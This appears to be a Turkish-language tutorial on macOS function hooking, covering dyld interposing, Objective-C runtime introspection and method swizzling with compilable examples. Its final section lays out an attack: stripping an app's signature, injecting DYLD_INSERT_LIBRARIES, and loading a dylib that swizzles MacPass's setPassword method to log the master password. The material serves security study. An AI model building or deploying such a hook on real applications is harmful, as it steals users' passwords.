__interpose (__DATA___interpose) bölümü olan bir dylib oluşturun (veya S_INTERPOSING ile işaretlenmiş bir bölüm) ve orijinal ve yerine geçen fonksiyonlara işaret eden fonksiyon işaretçileri tuple'larını içerir.
DYLD_PRINT_INTERPOSTING çevresel değişkeni, araya girme işlemini hata ayıklamak için kullanılabilir ve araya girme işlemini yazdırır.
Ayrıca araya girme işleminin işlem ve yüklenen kütüphaneler arasında gerçekleştiğini unutmayın, paylaşılan kütüphane önbelleği ile çalışmaz.
Dinamik Araya Girme
Artık bir işlevi dinamik olarak dyld_dynamic_interpose işlevini kullanarak araya girmek de mümkündür. Bu, bir işlevi çalışma zamanında programatik olarak araya girmeyi sağlar, sadece başlangıçtan değil.
Yerine getirilecek işlev ve yerine geçecek işlevin demetlerini belirtmek yeterlidir.
ObjectiveC'de bir yöntem şu şekilde çağrılır: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
Nesne, yöntem ve parametreler gereklidir. Bir yöntem çağrıldığında bir mesaj gönderilir ve objc_msgSend fonksiyonu kullanılır: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
Nesne someObject, yöntem @selector(method1p1:p2:) ve argümanlar value1, value2'dir.
Nesne yapıları takip edilerek, yöntemlerin bir dizisine ulaşmak mümkündür, burada isimler ve yöntem kodunun işaretçileri bulunmaktadır.
Yöntemler ve sınıflar isimlerine göre erişildiği için bu bilgi ikili dosyada saklanır, bu yüzden otool -ov </path/bin> veya class-dump </path/bin> ile geri alınabilir.
Ham yöntemlere erişim
Yöntemlerin adı, parametre sayısı veya adresi gibi bilgilere aşağıdaki örnekte olduğu gibi erişmek mümkündür:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
Bu durumda, meşru yöntemin uygulama koduyöntem adını doğrularsa, bu swizzling'i algılayabilir ve çalışmasını engelleyebilir.
Aşağıdaki teknikte bu kısıtlama bulunmamaktadır.
method_setImplementation ile Yöntem Swizzling
Önceki format garip çünkü 2 yöntemin birbirinin uygulamasını değiştiriyorsunuz. method_setImplementation fonksiyonunu kullanarak bir yöntemin uygulamasını diğerine değiştirebilirsiniz.
Yeni uygulamadan eski uygulamayı çağırmayı düşünüyorsanız, orijinalinin uygulamasının adresini sakladığınızdan emin olun, çünkü daha sonra o adresi bulmak çok daha karmaşık hale gelecektir.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
Hooking Saldırı Metodolojisi
Bu sayfada fonksiyonları hook etmenin farklı yolları tartışıldı. Bununla birlikte, bunlar saldırmak için işlem içinde kod çalıştırmayı içeriyordu.
Ancak, her iki seçenek de korumasız ikili işlemlerle sınırlıdır. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
Ancak, bir fonksiyon hooklama saldırısı çok spesifiktir, bir saldırgan bunu yaparak bir işlem içinden hassas bilgileri çalmayı amaçlar (aksi takdirde bir işlem enjeksiyon saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen Uygulamalarda bulunabilir.
Bu nedenle, saldırgan vektörü ya bir zafiyet bulacak ya da uygulamanın imzasını kaldıracak, uygulamanın Info.plist dosyası aracılığıyla DYLD_INSERT_LIBRARIES çevresel değişkenini enjekte edecek ve şuna benzer bir şey ekleyecektir:
O kütüphaneye bilgileri dışarı çıkarmak için kancalama kodunu ekleyin: Şifreler, mesajlar...
Yeni macOS sürümlerinde, uygulama ikili dosyasının imzasını kaldırırsanız ve önceden çalıştırıldıysa, macOS artık uygulamayı çalıştırmayacak.
Kütüphane örneği
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}